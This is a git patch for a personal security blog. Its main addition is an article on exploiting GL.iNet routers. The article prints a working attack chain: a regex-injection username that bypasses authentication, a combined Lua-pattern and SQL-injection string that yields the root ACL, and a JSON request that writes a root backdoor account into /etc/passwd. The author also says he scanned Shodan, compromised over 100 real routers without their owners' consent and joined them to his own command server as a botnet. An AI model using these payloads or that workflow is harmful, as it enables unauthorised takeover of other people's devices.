From c1d5fd00e2bfd2d0dabef4103f4d79c94751726a Mon Sep 17 00:00:00 2001 From: "daniele.linguaglossa" Date: Wed, 9 Oct 2024 17:36:23 +0200 Subject: [PATCH] refactored code + easier deployment + better look and feel --- .gitignore | 3 +- main.css | 286 ++++++++++++ res/advisory/CVE-2023-46453.txt | 6 + res/articles/glinet-from-zero-to-botnet.md | 361 +++++++++++++++ res/{ => assets}/binwalk.jpg | Bin res/{ => assets}/bored-hacker.jpg | Bin res/{ => assets}/botnet.gif | Bin res/{ => assets}/bug-wires.jpg | Bin res/{ => assets}/dark-side-cookie.jpg | Bin res/{ => assets}/dzonerzy.jpg | Bin res/{ => assets}/got-root.jpg | Bin res/{ => assets}/hopeless-programmer.jpg | Bin res/{ => assets}/router-going-wild.jpg | Bin res/{ => assets}/routers-stunned.jpg | Bin res/{ => assets}/system-add-user.jpg | Bin res/pages/.gitkeep | 0 res/projects/.gitkeep | 0 res/projects/libdzonerzy.yaml | 3 + src/Makefile | 16 +- src/libdzonerzy.so.c | 507 ++++++++++----------- src/libdzonerzy.so.h | 2 + tools/embed/embed.c | 159 ++++++- tools/index_gen/index.md | 66 +++ tools/index_gen/indexgen.py | 95 ++++ 24 files changed, 1211 insertions(+), 293 deletions(-) create mode 100644 main.css create mode 100644 res/articles/glinet-from-zero-to-botnet.md rename res/{ => assets}/binwalk.jpg (100%) rename res/{ => assets}/bored-hacker.jpg (100%) rename res/{ => assets}/botnet.gif (100%) rename res/{ => assets}/bug-wires.jpg (100%) rename res/{ => assets}/dark-side-cookie.jpg (100%) rename res/{ => assets}/dzonerzy.jpg (100%) rename res/{ => assets}/got-root.jpg (100%) rename res/{ => assets}/hopeless-programmer.jpg (100%) rename res/{ => assets}/router-going-wild.jpg (100%) rename res/{ => assets}/routers-stunned.jpg (100%) rename res/{ => assets}/system-add-user.jpg (100%) create mode 100644 res/pages/.gitkeep create mode 100644 res/projects/.gitkeep create mode 100644 res/projects/libdzonerzy.yaml create mode 100644 tools/index_gen/index.md create mode 100644 tools/index_gen/indexgen.py diff --git a/.gitignore b/.gitignore index 121877a..dd9ea0a 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ .vscode dist -src/challenge.c \ No newline at end of file +src/challenge.c +res/pages/index.md \ No newline at end of file diff --git a/main.css b/main.css new file mode 100644 index 0000000..a4c9bf6 --- /dev/null +++ b/main.css @@ -0,0 +1,286 @@ +/* main.css */ + +:root { + --main-link-color: #215fc2; +} + +html { + margin: 0; + padding: 0; + width: 100%; + height: 100vh; +} + +body { + margin: auto; + max-width: 60em; + min-height: 100vh; + font-family: monospace; + font-size: 1.23em; + background-color: #ddd; + display: flex; + flex-direction: column; +} + +nav#TOC > ul { + list-style-type: decimal; +} + +nav#TOC ul li { + margin-bottom: 1em; +} + +#title-block-header, +#TOC { + border: 1px solid #222; + border-radius: 15px; + background-color: #ccc; + color: #000; + margin: 1em; + padding: 1em; +} + +footer { + border: 1px solid #222; + border-radius: 15px; + background-color: #ccc; + color: #000; + flex-shrink: 0; + display: flex; + flex-direction: column; + justify-content: center; + align-items: center; + font-size: 0.9em; +} + +div.hearth { + display: flex; + justify-content: center; + align-items: center; + margin-left: 0.2em; + margin-right: 0.2em; + font-size: 1.5em; + padding: 0px; + animation: bounce 1s infinite; + color: #d00000; +} + +b.author { + color: #000; + text-transform: uppercase; +} + +p.author::before { + text-transform: lowercase; + font-weight: normal; + content: "by "; +} + +p.date::before { + text-transform: lowercase; + font-weight: normal; + content: "updated on "; +} + +p.date { + text-transform: capitalize; + font-weight: bold; +} + +p.author { + text-transform: uppercase; + font-weight: bold; +} + +h1.title { + text-align: center; +} + +section { + margin: 1em; + flex: 1 0 auto; +} + +h1, +h2, +h3, +h4, +h5, +h6 { + font-family: monospace; + clear: both; +} + +img { + padding: 2px; + border: 2px dashed #333; + background-color: #fff; + color: #000; + height: 15em; + float: right; + clear: right; + margin-left: 1em; + margin-bottom: 1em; +} + +figcaption { + display: none; +} + +@keyframes bounce { + from, + to { + transform: scale(1, 1); + } + 25% { + transform: scale(0.9, 1.1); + } + 50% { + transform: scale(1.1, 0.9); + } + 75% { + transform: scale(0.95, 1.05); + } +} + +header ~ * { + margin: 1em; + padding: 1em; +} + +footer > span { + display: flex; + text-align: center; + justify-content: center; + align-items: center; +} + +strong { + font-weight: bold; + color: rgb(130, 12, 12); +} + +a > strong { + text-decoration: none; +} + +a:hover > strong { + text-decoration: underline; +} + +pre { + padding: 1rem; +} + +div.sourceCode { + background-color: #ffd; +} + +pre, +code { + font-family: "Fira Code", monospace; + background-color: #ffd; + color: #1e1e1e; + overflow: auto; + max-height: 500px; + line-height: 1.6; +} + +pre { + margin: 1em 0; + line-height: 1.5; + font-size: 0.9em; +} + +pre::-webkit-scrollbar, +code::-webkit-scrollbar, +div.sourceCode::-webkit-scrollbar { + width: 15px; + height: 15px; + background-color: #ffd; +} + +pre::-webkit-scrollbar-thumb, +code::-webkit-scrollbar-thumb, +div.sourceCode::-webkit-scrollbar-thumb { + background-color: #dcdcba; + border-radius: 6px; + border: 1px solid #fff; +} + +pre::-webkit-scrollbar-track, +code::-webkit-scrollbar-track, +div.sourceCode::-webkit-scrollbar-track { + background-color: #ffd; +} + +pre.numberSource { + padding-left: 3.5em; + counter-reset: line-number; +} + +pre.numberSource code > span::before { + counter-increment: line-number; + content: counter(line-number); + display: inline-block; + width: 2.5em; + margin-right: 1em; + color: #666; + text-align: right; +} + +blockquote img { + clear: none; + height: auto; + max-height: 32em; + max-width: 100%; + float: none; +} + +blockquote { + padding: 1em; + color: #111; + clear: both; + padding-top: 0.25em; + padding-bottom: 0.25em; + width: auto; + margin: 0 auto; + display: table; +} + +a { + text-decoration: none; + color: var(--main-link-color); +} + +a:visited { + color: var(--main-link-color); +} + +.modal { + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + background-color: rgba(0, 0, 0, 0.7); + z-index: 9999; + cursor: zoom-out; +} + +.modal img { + min-height: 80vh; + max-height: 80vh; + width: auto; + max-width: 95vw; + position: absolute; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); + margin: 0; +} + +.zoomable { + max-width: 60vw; + max-height: 45vh; +} diff --git a/res/advisory/CVE-2023-46453.txt b/res/advisory/CVE-2023-46453.txt index c21f875..5e1dd9c 100644 --- a/res/advisory/CVE-2023-46453.txt +++ b/res/advisory/CVE-2023-46453.txt @@ -1,3 +1,9 @@ +--- +title: GLiNet Router Authentication Bypass + RCE +date: 2023-11-08 +author: DZONERZY +cve_id: CVE-2023-46453 +--- DZONERZY Security Research GLiNet: Router Authentication Bypass diff --git a/res/articles/glinet-from-zero-to-botnet.md b/res/articles/glinet-from-zero-to-botnet.md new file mode 100644 index 0000000..98cf0fb --- /dev/null +++ b/res/articles/glinet-from-zero-to-botnet.md @@ -0,0 +1,361 @@ +--- +title: From zero to botnet +description: GL.iNet going wild (RCE + Botnet) +author: DZONERZY +date: Thursday, October 19, 2023 +--- +# Boredom, that bad guy +![Picture of GL.iNet](../assets/bored-hacker.jpg) + +It all started a few days ago; a friend of mine, Michele, contacted me and said he found a vulnerability in the GL.iNet firmware's latest version. The vulnerability was an RCE (Remote Code Execution) that allowed an attacker to execute arbitrary code on the device. + +He then asked me to help him 'cause that was a post-auth RCE, and he didn't know how to bypass the login page. Driven by curiosity, I started to analyze the firmware, and I found it was a mix of harmful practices, poor programming skills, and a lot of fun. + +# The firmware, binwalk to the rescue +![Binary walking](../assets/binwalk.jpg) + +The first thing I did was to download the firmware to analyze it with binwalk, a tool that allows you to *walk* the content of the binary file and match each byte against a database of known magic bytes. + +By looking at the results of binwalk, we have the uImage of the kernel **Linux-5.10.176** then, we have some LZMA, which is the compressed kernel itself, and then we have a SquashFS filesystem, just the typical firmware configuration. + +We are interested in the SquashFS filesystem since it contains all the files that will be extracted on the device, thus the logic of the web interface. To extract it, I used the **-e** switch. + +``` +dzonerzy@DZONERZY-PC:$ binwalk openwrt-ar300m16-4.3.7-0913-1694589994.bin +DECIMAL HEXADECIMAL DESCRIPTION +--------------------------------------------------------------------------------0 0x0 uImage header, header size: 64 bytes, header CRC: 0xE940DF96, created: 2023-04-09 12:27:46, image size: 2597174 bytes, Data Address: 0x80060000, Entry Point: 0x80060000, data CRC: 0x3EBB4A22, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "MIPS OpenWrt Linux-5.10.176" +64 0x40 LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 8723876 bytes +2597238 0x27A176 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 12847666 bytes, 4096 inodes, blocksize: 262144 bytes, created: 2023-04-09 12:27:46 +``` + +# OpenWRT-based IPC ubus + +The firmware was based on OpenWRT, as we can deduct from the firmware name, so the way web APIs are handled is a mix of openwrt stuff and GL.iNet custom code, and it works roughly as follows: + +1 - We have an RPC daemon that is listening on a Unix socket, which, upon receiving a request, will call ubus to forward the request to the proper handler. + +2 - The ubus dispatcher, a client that will forward the request to the correct Lua handler. + +3 - Then we have the **/usr/sbin/gl-ngx-session**, the actual Lua handler for the authentication mechanism. + +Other handlers exist for different functionalities inside **/usr/lib/oui-httpd/rpc/**, but we are interested in the authentication mechanism, so let's focus on that. + +More info about how ubus works can be found [here](https://hackmd.io/@rYMqzC-9Rxy0Isn3zClURg/H1BY98bRw). + + +# The vulnerability, Lua, for real !?? +![A bug cutting wires](../assets/bug-wires.jpg) + +Upon a first look at the code, I noticed that the **/usr/sbin/gl-ngx-session** script was just Lua code (no weird C MIPS esoteric code, yay!), so I started to analyze it. + +The authentication mechanism works in two steps: + +1 - The user sends an RPC request calling the challenge method, which will return a random nonce, the selected user's salt, and the crypt's algorithm to hash the password. + +2 - The user will then send the password, which should be the md5 of the concatenation of the user, password, and the nonce. + +At first look, that seemed solid, but then I looked at the *get_crypt_info* function used to get the challenge, and that's where things started to get interesting. + +```lua +local function get_crypt_info(username) + if not username or username == "" then + return nil + end + + for l in io.lines("/etc/shadow") do + local alg, salt = l:match('^' .. username .. ':%$(%d)%$(.+)%$') + if alg then + return tonumber(alg), salt + end + end + + return nil +end +``` +Does it look weird, eh?? This script loops each line inside **/etc/shadow** and matches it against our username. The RegEx will eventually check the following pattern: + +``` +username:$algorithm$salt$ +``` + +In my opinion, what is really wrong about that code is that our username is not sanitized, but rather, it's used as part of the RegEX, which means that if we find a way to interrupt the regex without further processing, we can make it return whatever we want to match instead of the actual *alg* and *salt*. +As it turns out later, the Lua regex library is not posix compliant, so there's no way to interrupt the regex or make it fail/stop, nor is look-ahead matching supported 😔. + +Luckily, this was one of many places where regex injection was possible. Let's look at how the second step of the authentication works. + +```lua +login = { + function(req, msg) + local username, hash = msg.username, msg.hash + + clean_gl_token() + + ... + some boring code here + ... + + local sid = session_login(username, hash) + if not sid then + login_fail = login_fail + 1 + + if login_fail == login_fail_max_cnt then + login_fail = 0 + login_wait = time_now() + login_fail_wait_time + end + + ubus_conn:reply(req, { code = rpc.ERROR_CODE_ACCESS }) + return + end + + login_fail = 0 + + utils.update_ngx_session("/tmp/gl_token_" .. sid) + + ... + still more boring code here + ... + + end, { username = ubus.STRING, hash = ubus.STRING } +} + +local function session_login(username, hash) + if not login_test(username, hash) then + return nil + end + + local aclgroup = db.get_acl_by_username(username) + + local sid = utils.generate_id(32) + + sessions[sid] = { + username = username, + aclgroup = aclgroup, + timeout = time_now() + session_timeout + } + + session_cnt = session_cnt + 1 + + return sid +end + +local function login_test(username, hash) + if not username or username == "" then return false end + + for l in io.lines("/etc/shadow") do + local pw = l:match('^' .. username .. ':([^:]+)') + if pw then + for nonce in pairs(nonces) do + if utils.md5(table.concat({username, pw, nonce}, ":")) == hash then + nonces[nonce] = nil + nonce_cnt = nonce_cnt - 1 + return true + end + end + return false + end + end + + return false +end +``` + +This time, the RegEx injection happens inside the *login_test* function; it tries to match everything from the first colon (the hashed password) until the next one. +Luckily, this time, the regex is not strong enough 'cause the usual lines from **/etc/shadow** look like this: + +``` +root:$1$j9T2jD$5KGIS/2Ug.47GjW0jHOIB/2XwYUafYPh/X:19447:0:99999:7::: +``` + +Since we have multiple colons that could catch the regex match group, I made it return a different object rather than the hashed password, and as it turned out, that was possible. + +With the following username: + +``` +root:[^:]+:[^:]+ + +The regex becomes + +root:[^:]+:[^:]+:([^:]+) +``` + +I was able to shift forward the matching group, thus making it return the uid (which is always 0) instead of the hashed password, which means that we can always win the authentication challenge by sending the following hash: + +``` +md5(:0:) -> root:[^:]+:[^:]+:0: +``` + +Let's recap: to take the nonce, we use the original *root* username, and then on the second request, we craft the modified username, which shifts forward the match, and then we use our pre-computed hash to win the challenge. + +Upon sending both requests, we are welcomed by the following response: + +```json +{ + "id":7, + "jsonrpc":"2.0", + "result":{ + "username":"root:[^:]+:[^:]+ ", + "sid":"NsPHdkXtENoaotxVZWLqJorU52O7J0OI" + } +} +``` + +# Abandon hope all ye who enter here +![Hopeless programmer](../assets/hopeless-programmer.jpg) + +Not all that shine is gold, and this is the case... In fact, upon logging in with the provided session ID, I got a bunch of **ACCESS DENIED** errors, and we were taken back to the login page. + +I asked myself what was going on, and upon further analysis, I found that small piece of code preventing me from getting the flag, ehmmm ops, I mean root (that looks like a CTF). + +```lua + local aclgroup = db.get_acl_by_username(username) + + local sid = utils.generate_id(32) + + sessions[sid] = { + username = username, + aclgroup = aclgroup, + timeout = time_now() + session_timeout + } +``` + +The issue was with the *aclgroup*, since that was set to blank instead of some fancy ACL name. That's 'cause we used an invalid username (a mix of regex, luck, and magic) instead of the **root** string. + +Upon further research in the firmware, I found the code responsible for processing the ACL... 🥁 ... that's what I found inside **/usr/lib/lua/oui/db.lua**: + +```lua +M.get_acl_by_username = function(username) + if username == "root" then return "root" end + + local db = sqlite3.open(DB) + local sql = string.format("SELECT acl FROM account WHERE username = '%s'", username) + + local aclgroup = "" + + for a in db:rows(sql) do + aclgroup = a[1] + end + + db:close() + + return aclgroup +end +``` + +Wait what?? The ACL is just a string inside a SQLite database, but what caught my attention was that tiny `%s` inside the query (yep, that's what you think). In fact, the username is not sanitized and used as part of the query, which means we can inject SQL code inside the username and make it return whatever we want. + +But wait, that means our username should be both a valid regex and a valid SQL query, and that's not possible or is it? + +The trick I used here was abusing a single-character match group to inject the SQL code. In fact, the following regex is valid both for Lua and SQL injection: + +``` +roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+ +``` + +Here, I remove the **t** character from the **root** string and replace it with a single character match group, which will match everything except our SQL code (note the T for the SELECT statement); clever, uhm!? 😀 + +This will make the query look as follows: + +```sql +SELECT acl FROM account WHERE username = 'roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+' +``` + +This will return our beloved **root** ACL, and we can finally log in as root! + +# Come to the dark side, we have cookies +![Come to the dark side, we have cookies](../assets/dark-side-cookie.jpg) + +Yes, we have cookies indeed, but what now? Should I stop here and report the vuln? Maybe, but not that time. I was bored and wanted more fun, so I started looking at GL.iNet documentation, looking for neat API stuff to call and play with. + +GL.iNet developers are friendly and provide excellent documentation for their API, which can be found [here](https://dev.gl-inet.com/router-4.x-api/). + +I found some interesting API, the **system/add_user**, like the following. + +> GL.iNet API
+ +As we can deduct from the API parameters, we can add a new user to the system! This seems a neat feature, so I tested this, and after adding a new user, I tried to log in via SSH but got no luck this time 😔 (we will be back on that later). + +So, I returned to the documentation, and something caught my attention again. It was the **rtty/run** API with the following arguments: + +``` +SID: the token of the session +token: the token used during the authentication with a remote server +host server host +port server port +ssl: whether to enable SSL on the server +``` + +After some googling, I found that [**rtty**](https://github.com/zhaojh329/rtty) is a public GitHub project created by some Chinese guy. The project readme states the following: + +> This project is officially supported by GL.iNet. + +Oh, nice, some official tool! rtty is the client which is pre-installed on the devices, and it's used to connect to a remote server that is running the [**rttys**](https://github.com/zhaojh329/rttys) server, which is a remote terminal server. + +Armed with this knowledge, I connected to my VPS and installed the rttys server with the command: + +``` +sudo docker run -it -p 5912:5912 -p 5913:5913 zhaojh329/rttys:latest +``` + +This docker will listen on ports like **5912** and **5913**, respectively, for registration and web interface. + +With a bit of Python-fu 🐍 I automated the whole process of searching vulnerable devices on Shodan, exploiting them, adding a backdoor user, and making them connect to my rttys server. +The result was a stunning botnet of 100+ devices (actually, there are even more vulnerable devices on Shodan, but I stopped at 100). + +> GL.iNet botnet
+ +Now, I can command all the devices to do whatever we want with the backdoor account we create. I forgot to mention that rttys allow us to execute scheduled commands, so we can even make them execute commands at a specific time, like an actual botnet. + +# Bonus chapter, above and beyond +![Above and beyond](../assets/got-root.jpg) + +So far, we have exploited the vulnerability and created a botnet, but we didn't manage to create a root account. In fact, the **system/add_user** API makes a regular user rather than a root one. + +To create a root account, we need to exploit another vulnerability. **system/add_user** works by appending a new line to **/etc/passwd** and **/etc/shadow** files, obviously without sanitizing the username. + +```json +{ + "jsonrpc":"2.0", + "method":"call", + "params":[ + "", + "system", + "add_user", + { + "username":"backdoor2:$1$uzy0XSBy$K4D7tPeEK0Ea.xQ49V7sO1:0:0:root:/root:/bin/ash\n", + "password": "fake", + "uid": 1337, + "gid": 1337, + "home": "/home/your_router", + "interpreter": "/bin/sh" + } + ], + "id":1 +} +``` + +We can abuse that behavior to inject a new line inside **/etc/passwd** and make it look like this: + +``` +root:x:0:0:root:/root:/bin/ash +daemon:*:1:1:daemon:/var:/bin/false +ftp:*:55:55:ftp:/home/ftp:/bin/false +network:*:101:101:network:/var:/bin/false +nobody:*:65534:65534:nobody:/var:/bin/false +dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false +stubby:x:410:410:stubby:/var/run/stubby:/bin/false +ntp:x:123:123:ntp:/var/run/ntp:/bin/false +mosquitto:x:200:200:mosquitto:/var/run/mosquitto:/bin/false +logd:x:514:514:logd:/var/run/logd:/bin/false +ubus:x:81:81:ubus:/var/run/ubus:/bin/false +backdoor2:$1$uzy0XSBy$K4D7tPeEK0Ea.xQ49V7sO1:0:0:root:/root:/bin/ash +:x:1005:1005:backdoor2:$1$uzy0XSBy$K4D7tPeEK0Ea.xQ49V7sO1:0:0:root:/root:/bin/ash +:/home/user:/bin/sh +``` +Even if the line is malformed, the system will still parse it, and we will have a new root account named **backdoor2** with the password **test**. + +# And the router went wild +![Router going wild](../assets/router-going-wild.jpg) + +This was a really fun vuln to exploit. I hope you enjoyed it as much as I did. I reported the vuln to GL.iNet, and they fixed it in the latest firmware version, so if you have a GL.iNet device, please update it. + +> Have fun and happy hacking! \ No newline at end of file diff --git a/res/binwalk.jpg b/res/assets/binwalk.jpg similarity index 100% rename from res/binwalk.jpg rename to res/assets/binwalk.jpg diff --git a/res/bored-hacker.jpg b/res/assets/bored-hacker.jpg similarity index 100% rename from res/bored-hacker.jpg rename to res/assets/bored-hacker.jpg diff --git a/res/botnet.gif b/res/assets/botnet.gif similarity index 100% rename from res/botnet.gif rename to res/assets/botnet.gif diff --git a/res/bug-wires.jpg b/res/assets/bug-wires.jpg similarity index 100% rename from res/bug-wires.jpg rename to res/assets/bug-wires.jpg diff --git a/res/dark-side-cookie.jpg b/res/assets/dark-side-cookie.jpg similarity index 100% rename from res/dark-side-cookie.jpg rename to res/assets/dark-side-cookie.jpg diff --git a/res/dzonerzy.jpg b/res/assets/dzonerzy.jpg similarity index 100% rename from res/dzonerzy.jpg rename to res/assets/dzonerzy.jpg diff --git a/res/got-root.jpg b/res/assets/got-root.jpg similarity index 100% rename from res/got-root.jpg rename to res/assets/got-root.jpg diff --git a/res/hopeless-programmer.jpg b/res/assets/hopeless-programmer.jpg similarity index 100% rename from res/hopeless-programmer.jpg rename to res/assets/hopeless-programmer.jpg diff --git a/res/router-going-wild.jpg b/res/assets/router-going-wild.jpg similarity index 100% rename from res/router-going-wild.jpg rename to res/assets/router-going-wild.jpg diff --git a/res/routers-stunned.jpg b/res/assets/routers-stunned.jpg similarity index 100% rename from res/routers-stunned.jpg rename to res/assets/routers-stunned.jpg diff --git a/res/system-add-user.jpg b/res/assets/system-add-user.jpg similarity index 100% rename from res/system-add-user.jpg rename to res/assets/system-add-user.jpg diff --git a/res/pages/.gitkeep b/res/pages/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/res/projects/.gitkeep b/res/projects/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/res/projects/libdzonerzy.yaml b/res/projects/libdzonerzy.yaml new file mode 100644 index 0000000..29f72a3 --- /dev/null +++ b/res/projects/libdzonerzy.yaml @@ -0,0 +1,3 @@ +title: libdzonerzy.so +description: libdzonerzy.so is a shared object that I wrote in C, it's the library that I use to power this blog. +link: https://git.libdzonerzy.so/dzonerzy/libdzonerzy.so diff --git a/src/Makefile b/src/Makefile index e836618..a9abe5b 100644 --- a/src/Makefile +++ b/src/Makefile @@ -19,6 +19,7 @@ CONVERT_ARGS = -define webp DIST = dist SRC_DIR = src +RES_DIR = res RAW_DIST = dist/raw SITE_DIST = dist/site @@ -27,15 +28,22 @@ AWK_UTIL_NOCRLF = awk '/^\s*\[[0-9]+\]\s+([^\.].+)/ {printf $$2" "}' PANDOC_ARGS = --standalone --table-of-contents --section-divs --email-obfuscation=references --css="/main.css" --include-after-body=$(RAW_DIST)/footer.html --include-after-body=$(RAW_DIST)/scripts.html +PYTHON = $(shell which python3) + + libdzonerzy: +# first create the index.md page + $(PYTHON) tools/index_gen/indexgen.py --resources $(RES_DIR) --blog-title="DZONERZY's Blog" --blog-author="DZONERZY" @echo "/* DO NOT EDIT THIS FILE - it is machine generated */" > $(SRC_DIR)/res.h @mkdir -p $(DIST) @mkdir -p $(RAW_DIST) @mkdir -p $(SITE_DIST) - @$(foreach file, $(wildcard res/*.jpg res/*.gif res/*.png), $(CONVERT_TOOL) $(file) $(CONVERT_ARGS) $(file).webp;) - @$(foreach file, $(wildcard res/*.jpg res/*.gif res/*.png), $(EMBED_TOOL) -i $(file).webp -o $(SRC_INC_DIR)/$(notdir $(file).webp).h $(EMBED_ARGS);) - @$(foreach file, $(wildcard res/advisory/*.txt), $(EMBED_TOOL) -i $(file) -t=advisory -o $(SRC_INC_DIR)/$(notdir $(file)).h $(EMBED_ARGS);) - @rm -f res/*.webp + @$(foreach file, $(wildcard $(RES_DIR)/assets/*.jpg $(RES_DIR)/assets/*.gif $(RES_DIR)/assets/*.png), $(CONVERT_TOOL) $(file) $(CONVERT_ARGS) $(file).webp;) + @$(foreach file, $(wildcard $(RES_DIR)/assets/*.jpg $(RES_DIR)/assets/*.gif $(RES_DIR)/assets/*.png), $(EMBED_TOOL) -i $(file).webp -o $(SRC_INC_DIR)/$(notdir $(file).webp).h $(EMBED_ARGS);) + @$(foreach file, $(wildcard res/advisory/*.txt), $(EMBED_TOOL) -i $(file) -t=a -o $(SRC_INC_DIR)/$(notdir $(file)).h $(EMBED_ARGS);) + @$(foreach file, $(wildcard res/pages/*.md), $(EMBED_TOOL) -i $(file) -t=p -o $(SRC_INC_DIR)/$(notdir $(file)).h $(EMBED_ARGS);) + @$(foreach file, $(wildcard res/articles/*.md), $(EMBED_TOOL) -i $(file) -t=A -o $(SRC_INC_DIR)/$(notdir $(file)).h $(EMBED_ARGS);) + @rm -f res/assets/*.webp @ls $(SRC_INC_DIR)/*.h | xargs -n1 basename | sed 's/^/#include /' >> $(SRC_DIR)/res.h $(CC) $(CFLAGS) $(LDFLAGS) -o $(DIST)/$(OUTPUT) $(SRC_DIR)/libdzonerzy.so.c $(SRC_DIR)/challenge.o diff --git a/src/libdzonerzy.so.c b/src/libdzonerzy.so.c index 95bd457..d84e3e8 100644 --- a/src/libdzonerzy.so.c +++ b/src/libdzonerzy.so.c @@ -20,278 +20,241 @@ Copyright: // this is a shared object library -#define MAIN_CSS \ - CSS_COMMENT("main.css") \ - CSS_NEWLINE() \ - CSS_SELECTOR(":root") \ - CSS_PROPERTY("--main-link-color", "#215fc2") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("html") \ - CSS_PROPERTY("margin", "0") \ - CSS_PROPERTY("padding", "0") \ - CSS_PROPERTY("width", "100%") \ - CSS_PROPERTY("height", "100vh") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("body") \ - CSS_PROPERTY("margin", "auto") \ - CSS_PROPERTY("max-width", "60em") \ - CSS_PROPERTY("min-height", "100vh") \ - CSS_PROPERTY("font-family", "monospace") \ - CSS_PROPERTY("font-size", "1.23em") \ - CSS_PROPERTY("background-color", "#ddd") \ - CSS_PROPERTY("display", "flex") \ - CSS_PROPERTY("flex-direction", "column") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("nav#TOC > ul") \ - CSS_PROPERTY("list-style-type", "decimal") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("#title-block-header, #TOC") \ - CSS_PROPERTY("border", "1px solid #222") \ - CSS_PROPERTY("border-radius", "15px") \ - CSS_PROPERTY("background-color", "#ccc") \ - CSS_PROPERTY("color", "#000") \ - CSS_PROPERTY("margin", "1em") \ - CSS_PROPERTY("padding", "1em") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("footer") \ - CSS_PROPERTY("border", "1px solid #222") \ - CSS_PROPERTY("border-radius", "15px") \ - CSS_PROPERTY("background-color", "#ccc") \ - CSS_PROPERTY("color", "#000") \ - CSS_PROPERTY("flex-shrink", "0") \ - CSS_PROPERTY("display", "flex") \ - CSS_PROPERTY("flex-direction", "column") \ - CSS_PROPERTY("justify-content", "center") \ - CSS_PROPERTY("align-items", "center") \ - CSS_PROPERTY("font-size", "0.9em") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("div.hearth") \ - CSS_PROPERTY("display", "flex") \ - CSS_PROPERTY("justify-content", "center") \ - CSS_PROPERTY("align-items", "center") \ - CSS_PROPERTY("margin-left", "0.2em") \ - CSS_PROPERTY("margin-right", "0.2em") \ - CSS_PROPERTY("font-size", "1.5em") \ - CSS_PROPERTY("padding", "0px") \ - CSS_PROPERTY("animation", "bounce 1s infinite") \ - CSS_PROPERTY("color", "#d00000") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("b.author") \ - CSS_PROPERTY("color", "#000") \ - CSS_PROPERTY("text-transform", "uppercase") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("p.author::before") \ - CSS_PROPERTY("text-transform", "lowercase") \ - CSS_PROPERTY("font-weight", "normal") \ - CSS_PROPERTY("content", "'by '") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("p.date::before") \ - CSS_PROPERTY("text-transform", "lowercase") \ - CSS_PROPERTY("font-weight", "normal") \ - CSS_PROPERTY("content", "'written on '") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("p.date") \ - CSS_PROPERTY("text-transform", "capitalize") \ - CSS_PROPERTY("font-weight", "bold") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("p.author") \ - CSS_PROPERTY("text-transform", "uppercase") \ - CSS_PROPERTY("font-weight", "bold") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("h1.title") \ - CSS_PROPERTY("text-align", "center") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("section") \ - CSS_PROPERTY("margin", "1em") \ - CSS_PROPERTY("flex", "1 0 auto") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("h1 h2 h3 h4 h5 h6") \ - CSS_PROPERTY("font-family", "monospace") \ - CSS_PROPERTY("clear", "both") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("img") \ - CSS_PROPERTY("padding", "2px") \ - CSS_PROPERTY("border", "2px dashed #333") \ - CSS_PROPERTY("background-color", "#fff") \ - CSS_PROPERTY("color", "#000") \ - CSS_PROPERTY("height", "15em") \ - CSS_PROPERTY("float", "right") \ - CSS_PROPERTY("clear", "right") \ - CSS_PROPERTY("margin-left", "1em") \ - CSS_PROPERTY("margin-bottom", "1em") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("figcaption") \ - CSS_PROPERTY("display", "none") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("@keyframes bounce") \ - CSS_SELECTOR("from, to") \ - CSS_PROPERTY("transform", "scale(1, 1)") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("25%") \ - CSS_PROPERTY("transform", "scale(0.9, 1.1)") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("50%") \ - CSS_PROPERTY("transform", "scale(1.1, 0.9)") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("75%") \ - CSS_PROPERTY("transform", "scale(0.95, 1.05)") \ - CSS_END_SELECTOR() \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("header~*") \ - CSS_PROPERTY("margin", "1em") \ - CSS_PROPERTY("padding", "1em") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("footer > span") \ - CSS_PROPERTY("display", "flex") \ - CSS_PROPERTY("text-align", "center") \ - CSS_PROPERTY("justify-content", "center") \ - CSS_PROPERTY("align-items", "center") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("pre, code") \ - CSS_PROPERTY("max-height", "500px") \ - CSS_PROPERTY("overflow", "auto") \ - CSS_PROPERTY("font-family", "monospace") \ - CSS_PROPERTY("border-radius", "0.5em") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("blockquote img") \ - CSS_PROPERTY("clear", "none") \ - CSS_PROPERTY("height", "auto") \ - CSS_PROPERTY("max-height", "32em") \ - CSS_PROPERTY("max-width", "100%") \ - CSS_PROPERTY("float", "none") \ - CSS_END_SELECTOR() \ - CSS_SELECTOR("blockquote") \ - CSS_PROPERTY("padding", "1em") \ - CSS_PROPERTY("color", "#111") \ - CSS_PROPERTY("clear", "both") \ - CSS_PROPERTY("padding-top", "0.25em") \ - CSS_PROPERTY("padding-bottom", "0.25em") \ - CSS_PROPERTY("width", "auto") \ - CSS_PROPERTY("margin", "0 auto") \ - 